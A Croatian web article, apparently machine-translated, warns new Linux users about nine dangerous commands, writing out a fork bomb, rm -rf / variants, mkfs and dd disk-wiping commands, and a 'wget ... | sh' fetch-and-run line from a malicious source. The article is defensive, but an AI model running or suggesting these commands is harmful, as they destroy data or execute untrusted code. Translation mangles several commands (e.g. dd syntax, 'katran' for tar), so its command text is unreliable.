9 Linux naredbe i kodovi koji će biti oprezni
Linux naredbe ljuske / terminala su vrlo moćne i samo jednostavna naredba može dovesti do brisanja mape, datoteka ili korijenske mape, itd.
U nekim slučajevima, Linux vas neće čak ni pitati za potvrdu, nego će odmah izvršiti naredbu, što će vas dovesti do toga izgubiti vrijedne podatke i informacije spremljene u tim datotekama i mapama.
Uobičajeno je da ljudi objavljuju sadržaj na webu preporuku novim korisnicima Linuxa da izvrše ove naredbe. To može izgledati kao šala za nekoga tko je objavio sadržaj, ali za osobu s druge strane nije smiješna stvar.
Okupili smo neke Linux naredbe koje su prilično štetne za vaš sustav kako bi vam pomogli da ih izbjegnete. Imajte na umu da su doista opasni i može se čak i mijenjati na različite načine za stvaranje novih naredbi da nanese više štete.
Važno je napomenuti to neke od ovih naredbi su opasne samo ako su prefiksom sudo na Ubuntuu. Dok je na drugim distribucijama Linuxa, većina tih zadanih naredbi biti će opasna za izvršavanje kao root.
Pogledajte 9 naredbi i kodova trebali biste izbjegavati izvršavanje.
1. Naredba Linux Fork Bomb
: () : |: & ;:
također poznat kao Viljuška bomba je napad uskraćivanja usluge protiv Linux sustava. : () : |: & ;:
je bash funkcija. Jednom izvršen, ponavlja se više puta dok se sustav ne smrzne.
Možete ga se riješiti samo ponovnim pokretanjem sustava. Zato budite oprezni kada izvršavate ovu naredbu na vašoj Linux ljusci.
2. mv mapa / dev / null Naredba
mv mapa / dev / null
je još jedna rizična naredba. Dev / null
ili null uređaj
je datoteku uređaja koja odbacuje sve podatke koji su na njoj napisani, ali izvještava da se operacija pisanja uspješno izvršava. Također je poznat kao malo bucked ili Crna rupa.
3. rm -rf naredba
rm -rf
naredba je brz način izbrisati mapu i njezin sadržaj u operacijskom sustavu Linux. Ako ne znate kako ga pravilno koristiti onda to može postati vrlo opasno za sustav. Najčešće kombinacije i opcije korištene s naredbom rm-rf navedene su u nastavku:
rm
naredba se koristi za brisanje datoteka u Linux sustavu.rm -f
naredba uklanja datoteke samo za čitanje u mapi bez upita.rm -r
naredba briše sadržaj mape rekurzivno.rm -d
naredba se koristi za uklanjanje praznog direktorija, ali će odbiti ukloniti direktorij ako nije prazan.rm -rf /
naredba se koristi za prisilno brisanje (briše ga čak i ako je zaštićeno od pisanja) svih sadržaja u korijenskom direktoriju i podmapama.rm -rf *
naredba se koristi za prisilno brisanje svih sadržaja u trenutnom direktoriju (direktorij u kojem trenutno radite) i podmape.rm -rf.
naredba se koristi za prisilno brisanje svih sadržaja u trenutnoj mapi i podmapama.rm -r. [^.] *
naredba se također može koristiti.rm -i
naredba se koristi za uklanjanje datoteka i mapa, no pojavit će se upit prije uklanjanja.
4. naredba mkfs
mkfs
može biti opasna naredba za vaš Linux bazirani sustav ako ne znate njegovu svrhu. Sve napisano nakon što se mkfs formatira i zamijeni praznim Linux datotečnim sustavom.
Sve dolje navedene naredbe formatirat će tvrdi disk i zahtijeva administratorska prava:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Zapovijed mkfs.cramfs
će učiniti istu stvar kao i gore navedeno, ali ne zahtijeva administratorska prava za izvršavanje.
5. Tarna bomba
katran
naredba se koristi za kombiniranje više datoteka u jednu datoteku (arhivirana datoteka) u .katran format. S ovom naredbom može se stvoriti bomba s arhivom trake (Tar).
to je arhivska datoteka koja eksplodira u tisuće ili milijune datoteka s imenima sličnim postojećim datotekama u trenutnom direktoriju radije nego u novi direktorij kada su neobrađeni.
Možete izbjeći da postanete žrtva katranske bombe redovito kreirate novi zaštitni direktorij kad god primite tar datoteku i zatim premjestiti primljenu tar datoteku u ovaj direktorij prije nego što se ukloni.
Ako je tar datoteka doista katranska bomba, možete jednostavno ukloniti novo kreirani direktorij da biste ga se riješili. Drugi način da se izbjegne eksplozija katranske bombe je putem -t
mogućnost popisa cjelokupnog sadržaja tar datoteke da biste dobili ideju o vrsti sadržaja koji se nalazi unutar tar datoteke.
6. dd naredba
dd
naredba kopirajte i pretvorite particije tvrdog diska. Međutim, može se pokazati štetnim ako navedete pogrešno odredište.
Naredba može biti bilo koja od ovih:
dd ako = / dev / hda od / / dev / hdb
dd ako = / dev / hda od / / dev / sdb
dd ako = nešto od = / dev / hda
dd ako = nešto od = / dev / sda
Sljedeća naredba će poništiti cijeli primarni tvrdi disk: dd ako = / dev / nula = / dev / imao
7. Kôd skripte ljuske
Netko vas može žrtvovati dajući vam vezu do skripte i odobravanjem da je preuzmete i izvršite. Skripta može sadržavati neki zlonamjerni ili opasni kod unutra. format naredbe može izgledati ovako: wget http: // some_malicious_source -O- | sh
. wget
će preuzeti skriptu dok sh preuzima izvođenje skripte.
8. Zlonamjerni izvorni kod
Netko vam daje izvorni kod i traži od vas da ga sastavite. Kod može izgledati kao normalni kôd, no zapravo je neki zlonamjerni kod prikriven u veliki izvorni kod i može uzrokovati štetu vašem sustavu. Da bi se izbjegla žrtva ove vrste napada, prihvaćate i kompajlirate izvorni kod iz pouzdanih izvora.
9. Dekompresijska bomba
Primili ste komprimiranu datoteku i od vas se traži da izvučete ovu datoteku koja izgleda vrlo mala, ali može biti nekoliko KB. Zapravo, Ova mala komprimirana datoteka sadrži vrlo komprimirane podatke.
Nakon dekomprimiranja datoteke izlučuje se stotine GB podataka možete popuniti vaš tvrdi disk smanjiti učinkovitost vašeg sustava. Da biste izbjegli ovu situaciju, uvijek zapamtite da prihvatite podatke iz pouzdanih izvora.